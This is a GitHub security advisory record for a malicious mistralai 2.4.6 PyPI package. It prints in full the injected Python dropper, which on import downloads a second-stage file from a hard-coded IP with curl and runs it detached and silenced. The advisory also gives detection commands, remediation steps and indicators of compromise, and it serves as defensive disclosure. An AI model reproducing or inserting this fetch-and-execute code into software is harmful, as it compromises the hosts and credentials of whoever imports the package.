GHSA-wx9m-wx4f-4cmg: Mistralai Malicious Dropper Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wx9m-wx4f-4cmg",
  "modified" : "2026-05-18T17:55:27Z",
  "published" : "2026-05-18T17:55:27Z",
  "aliases" : [ ],
  "summary" : "Malicious dropper in mistralai 2.4.6 PyPI package",
  "details" : "The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).\n\nThe `mistralai` PyPI project is currently quarantined.\n\n## Affected\n\n- `mistralai==2.4.6` on PyPI.\n\nVersions `2.4.5` and earlier are not known to be affected.\n\n## What the malicious code does\n\nA function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523):\n\n```python\nimport subprocess as _sub\nimport os as _os\n\ndef _run_background_task():\n    if not _sys.platform.startswith(\"linux\") or _os.environ.get(\"MISTRAL_INIT\"):\n        return\n    _os.environ[\"MISTRAL_INIT\"] = \"1\"\n    _url = \"https://83.142.209.194/transformers.pyz\"\n    _dest = \"/tmp/transformers.pyz\"\n    try:\n        if not _os.path.exists(_dest):\n            _sub.run([\"curl\", \"-k\", \"-L\", \"-s\", _url, \"-o\", _dest], timeout=15)\n        if _os.path.exists(_dest):\n            _sub.Popen(\n                [_sys.executable, _dest],\n                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,\n                start_new_session=True, env=_os.environ.copy()\n            )\n    except:\n        pass\n\n_run_background_task()\n```\n\nOn Linux only, the function:\n\n1. Returns early if `MISTRAL_INIT` is already set in the environment.\n2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`.\n3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.\n4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed.\n\nOn non-Linux platforms the function returns immediately and does nothing.\n\nThe trigger is `import mistralai`, not package installation. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper.\n\nThe contents of `transformers.pyz` are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.\n\n## Recommendation\n\nAny Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).\n\n## Check whether you are affected\n\nInstalled version:\n\n```bash\npip show mistralai | grep -i ^version\n```\n\nDependency files and lockfiles:\n\n```bash\ngrep -n -E 'mistralai\\b.*2\\.4\\.6' \\\n  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null\n```\n\nDropped file on disk:\n\n```bash\nls -la /tmp/transformers.pyz\n```\n\nThe presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.\n\n## Remediation\n\n1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/client-python.git@v2.4.5`.\n2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.\n\n## Indicators of compromise\n\nAll IOCs below come from the public report in [#523](https://github.com/mistralai/client-python/issues/523).\n\n- File: `/tmp/transformers.pyz`\n- Process: a Python interpreter (`sys.executable`) running `/tmp/transformers.pyz` detached from the parent's process group, with stdout/stderr to `/dev/null`\n- Environment variable: `MISTRAL_INIT=1`\n- Outbound HTTPS to `83[.]142[.]209[.]194` from `curl` (no TLS verification)\n- Function added to the package: `_run_background_task` in `src/mistralai/client/__init__.py`\n- SHA-256 of the malicious sdist (as reported in #523): `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b`\n\n## References\n\n- Public report with the dropper code: https://github.com/mistralai/client-python/issues/523\n- Quarantined PyPI project: https://pypi.org/project/mistralai/",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mistralai"
    },
    "versions" : [ "2.4.6" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mistralai/client-python/security/advisories/GHSA-wx9m-wx4f-4cmg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mistralai/client-python/issues/523"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mistralai/client-python"
  }, {
    "type" : "WEB",
    "url" : "https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral"
  }, {
    "type" : "WEB",
    "url" : "https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack"
  }, {
    "type" : "WEB",
    "url" : "https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-506" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T17:55:27Z",
    "nvd_published_at" : null
  }
}